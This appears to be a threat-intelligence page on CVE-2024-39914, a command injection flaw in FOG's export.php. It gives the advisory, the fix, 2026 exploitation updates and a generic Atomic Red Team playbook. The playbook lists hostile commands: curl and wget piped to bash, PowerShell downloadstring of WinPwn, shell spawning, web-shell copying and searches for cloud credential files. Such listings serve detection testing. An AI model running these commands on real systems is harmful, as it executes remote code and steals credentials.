CVE-2024-39914
Overview
This vulnerability is a command injection flaw rooted in improper input validation of the filename parameter within the export functionality of the FOG project. Specifically, the packages/web/lib/fog/reportmaker.class.php component fails to sanitize user-supplied input passed to /fog/management/export.php, allowing execution of arbitrary system commands. The flaw arises from unsafe handling of shell commands constructed using the filename parameter without adequate sanitization or escaping.
Vulnerability Description
FOG is a cloning/imaging/rescue suite/inventory management system. Prior to 1.5.10.34, packages/web/lib/fog/reportmaker.class.php in FOG was affected by a command injection via the filename parameter to /fog/management/export.php. This vulnerability is fixed in 1.5.10.34.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary system commands on the affected server by sending a specially crafted request to /fog/management/export.php with a malicious filename parameter. This can lead to full compromise of the host, including data theft, service disruption, or lateral movement within the network. The attack requires only network access and no user interaction, as indicated by the CVSS vector AV:N/AC:L/PR:N/UI:N, making it highly exploitable in exposed deployments.
Solution
To remediate this vulnerability, upgrade the FOG project to version 1.5.10.34 or later as specified in the official GitHub security advisory GHSA-7h44-6vq6-cq8j. The patch includes proper input sanitization in reportmaker.class.php to prevent command injection via the filename parameter. Detailed patch instructions and source code changes are available in the referenced commit 2413bc034753c32799785e9bf08164ccd0a2759f on the FOGProject GitHub repository.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in the FOG imaging and management system arises from a command injection flaw within the report generation functionality. Specifically, the issue is located in the handling of the filename parameter in the export.php script. When user input is not properly sanitized, an attacker can craft a malicious filename that is executed on the server. This exploitation allows the attacker to execute arbitrary commands with the privileges of the web server, potentially leading to unauthorized access, data manipulation, or complete system compromise. The severity of this vulnerability is underscored by its high CVSS score of 9.8, indicating critical risk.
Exploitation of this vulnerability can occur through various attack vectors. An attacker could leverage social engineering tactics to trick a user into accessing a malicious link that targets the vulnerable export.php script. Alternatively, an attacker could directly send crafted HTTP requests to the server, injecting malicious commands through the filename parameter. Once executed, these commands could allow the attacker to gain control over the server, exfiltrate sensitive data, or deploy further malicious payloads. The ease of exploitation, combined with the potential for significant damage, makes this vulnerability particularly concerning for organizations using the affected version of the FOG system.
The real-world impact of this vulnerability can be profound, especially for organizations that rely on FOG for imaging and inventory management. Successful exploitation could lead to data breaches, loss of sensitive information, and disruption of services. Furthermore, the potential for unauthorized access to critical systems could result in significant financial losses, reputational damage, and regulatory repercussions. Organizations that fail to address this vulnerability may find themselves facing lawsuits, compliance issues, and loss of customer trust, all of which can have long-lasting effects on their operations and bottom line.
To detect and mitigate the risks associated with this command injection vulnerability, organizations should implement a multi-faceted approach. First and foremost, upgrading to the patched version of the FOG system (1.5.10.34 or later) is essential to eliminate the vulnerability. Additionally, organizations should conduct regular security assessments and penetration testing to identify and remediate similar vulnerabilities in their systems. Implementing web application firewalls (WAFs) can also help filter out malicious requests before they reach the application layer. Furthermore, adopting secure coding practices, including input validation and sanitization, can significantly reduce the risk of command injection vulnerabilities in future development efforts.
In conclusion, the command injection vulnerability in the FOG imaging and management system poses a significant threat to organizations that utilize this software. The potential for exploitation through various attack vectors, coupled with the severe real-world impacts, necessitates immediate attention and action. By prioritizing detection and mitigation strategies, organizations can protect themselves from the risks associated with this vulnerability and enhance their overall cybersecurity posture.
CSURFACE threat intelligence has identified a marked escalation in activity exploiting CVE-2024-39914, with our telemetry indicating the first confirmed exploitation attempt since the vulnerability was publicly disclosed. This development is significant because it demonstrates that threat actors have transitioned from theoretical interest to active exploitation, increasing the immediacy of the risk to organizations running vulnerable versions of the FOG imaging and management system. The emergence of publicly available proof-of-concept code further lowers the barrier for adversaries to weaponize this critical command injection flaw, potentially enabling unauthorized remote code execution and system compromise. Although the EPSS score remains high and stable, the detection of active exploitation elevates the threat level from theoretical to practical, underscoring the urgency for defenders to prioritize monitoring and response efforts. This shift signals that attackers are now operationalizing the vulnerability, which could lead to broader targeting campaigns or integration into automated exploit frameworks.
Update 2 — June 20, 2026
CSURFACE threat intelligence has detected a marked escalation in exploitation attempts targeting CVE-2024-39914, with telemetry indicating a doubling in observed activity. Despite this surge, the EPSS score has significantly declined, suggesting a reduction in the overall likelihood of widespread exploitation in the immediate term. This divergence implies that while adversaries are increasingly testing or probing the vulnerability, large-scale automated campaigns have not yet materialized. The presence of new proof-of-concept exploits on public repositories continues to lower the barrier for opportunistic attackers, maintaining a persistent risk of targeted intrusions. For defenders, this evolving pattern underscores the necessity to sustain vigilant monitoring, as the increased probing activity could presage more aggressive exploitation efforts or integration into broader attack toolkits. Consequently, the threat level remains elevated, reflecting active adversary interest but tempered by the current moderation in exploitation momentum.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Fogproject | Fogproject | All |
cpe:2.3:a:fogproject:fogproject:*:*:*:*:*:*:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (1)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
9874621368/FOG-Project
FOG Project CVE-2024-39914 命令执行漏洞
|
9874621368 | 0 | 0 | 2024-12-21 | View |
Threat Feed
5 eventsSighting activity recorded
Sighting activity recorded
Sighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2024-39914 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/FOGProject/fogproject/security/advisories/GHSA-7h44-6vq6-cq8j |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/FOGProject/fogproject/commit/2413bc034753c32799785e9bf08164ccd0a2759f |